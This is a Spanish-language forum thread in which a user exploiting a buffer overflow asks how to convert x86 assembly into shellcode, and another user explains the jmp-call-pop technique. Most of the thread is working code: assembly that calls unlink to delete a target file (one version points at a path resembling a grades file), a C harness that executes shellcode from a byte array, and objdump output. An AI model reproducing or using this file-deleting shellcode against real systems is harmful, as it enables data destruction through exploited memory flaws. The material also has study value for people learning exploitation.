Shellcode to HEX (BOF)

Iniciado por GGZ, 26 Enero 2017, 23:48 PM

0 Miembros y 1 Visitante están viendo este tema.

GGZ

Hola a todos, estoy explotando un bof necesito una ayuda.

Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.

Código (asm) [Seleccionar]
.section .data
__archivo:
.asciz "/home/httpd/test"  # Archivo a eliminar.

.section .text
.global main
main:
       movl $10, %eax    
       movl $__archivo, %ebx    
       int  $0x80

       movl %eax, %ebx  
       movl $1, %eax      
       int  $0x80


Quiero pasar este código asm que borra un archivo a C tipo:


char sc[] =  "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";

int main (void){

       int (*func)();
       func = (int (*)())sc;
       (int)(*func)();
}



Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?

Probé hacerlo con objdump pero no funciona.

Saludos.
LET'S DO STUFF!!

cpu2

Por lo que veo tienes la cadena en la sección data, y estas pasando la direccion en la shellcode. Porque no colocas la misma cadena al final de la sección text:

Cita de: GGZ en 26 Enero 2017, 23:48 PM
Código (asm) [Seleccionar]

.section .text
.global main
main:

jmp __archivo

_salto:
       movl $10, %eax    
       popl %ebx
       int  $0x80

       movl %eax, %ebx  
       movl $1, %eax      
       int  $0x80

__archivo:

call _salto
.asciz "/home/httpd/test"  # Archivo a eliminar.

Miralo con el objdump, y copia los hex.

Un saludo.

GGZ

#2
Ya está lo solucioné haciendo esto:
Código (asm) [Seleccionar]
   pushl $0x7478742e   # ".txt" (en orden inverso)
   pushl $0x73656461   # "ades"
   pushl $0x72672f2f    #  "//gr"
   pushl $0x2f2f2e2e     # "..//"


Luego lo cargué a ebx esp.
Y después lo miré con el objdump.


Muchas gracias igual, me sirve para la próxima!
LET'S DO STUFF!!

cpu2

#3
Pero sabes el porque del fallo? Si desensamblas el ejecutable que creas con C y mira a que datos apunto el offset que pasas a ebx, ya que ni sera un offset valido.

Por ese motivo las shellcodes pasan path, de esa forma ya que no pueden depender de direcciones como data etc...

Un saludo.

GGZ

#4
Si lo aplico objdump a lo que me diste me tira esto:

Código (asm) [Seleccionar]

s.o:     file format elf32-i386


Disassembly of section .text:

00000000 <main>:
  0: eb 11                 jmp    13 <__archivo>

00000002 <_salto>:
  2: b8 0a 00 00 00       mov    $0xa,%eax
  7: 5b                   pop    %ebx
  8: cd 80                 int    $0x80
  a: 89 c3                 mov    %eax,%ebx
  c: b8 01 00 00 00       mov    $0x1,%eax
 11: cd 80                 int    $0x80

00000013 <__archivo>:
 13: e8 ea ff ff ff       call   2 <_salto>
 18: 2f                   das    
 19: 68 6f 6d 65 2f       push   $0x2f656d6f
 1e: 68 74 74 70 64       push   $0x64707474
 23: 2f                   das    
 24: 74 65                 je     8b <__archivo+0x78>
 26: 73 74                 jae    9c <__archivo+0x89>
...


O sea que:
 19:   68 6f 6d 65 2f          push   $0x2f656d6f
 1e:   68 74 74 70 64          push   $0x64707474

significa /home/httpd/test?, todavía no sé como armar la shellcode ahí, ¿copio todos esos hex? No lo creo.
A mi me quedó todo en una función mucho más prolijo y fácil de entender.

Mi shellcode quedó así:
Código (asm) [Seleccionar]
.section .text
.global main
main:
       xorl %eax,%eax
       movl $10,%eax

       # Esta es la dirección del archivo a borrar.
       pushl $0x7478742e
       pushl $0x73656461
       pushl $0x72672f2f
       pushl $0x2f2f2e2e
       movl %esp,%ebx

       int  $0x80

       movl %eax, %ebx # La salida se guarda en ebx
       movl $1, %eax        # exit syscall
       int  $0x80  # llamada al sistema.



Lo que tengo entendido es que cuando se crea el objeto del source, éste no guarda las variables y yo estoy desamblando el objeto por eso no tengo las variables.
Saludos.
LET'S DO STUFF!!

cpu2

#5
¡
Cita de: GGZ en 28 Enero 2017, 19:42 PM
Código (asm) [Seleccionar]

s.o:     file format elf32-i386


Disassembly of section .text:

00000000 <main>:
   0: eb 11                jmp    13 <__archivo>

00000002 <_salto>:
   2: b8 0a 00 00 00        mov    $0xa,%eax
   7: 5b                    pop    %ebx
   8: cd 80                int    $0x80
   a: 89 c3                mov    %eax,%ebx
   c: b8 01 00 00 00        mov    $0x1,%eax
  11: cd 80                int    $0x80

00000013 <__archivo>:
  13: e8 ea ff ff ff        call   2 <_salto>
  18: 2f                    das   
  19: 68 6f 6d 65 2f        push   $0x2f656d6f
  1e: 68 74 74 70 64        push   $0x64707474
  23: 2f                    das   
  24: 74 65                je     8b <__archivo+0x78>
  26: 73 74                jae    9c <__archivo+0x89>
...


Lo que hay debajo del call es la cadena, cuando haces el call hace un push del offset a continuación del call, lo que significa que tienes un offset que apunta al principio de la cadena, los offset no son validos, ya que se toma como cadena, no se ejecutan.

Luego el pop del ebx, carga el offset del call, puedes hacerlo con los push y luego copiar el offset que seria lo mismo, que es lo que haces.

Si copia todo los obcode, nada mas, igual que lo tuya.

Saludos[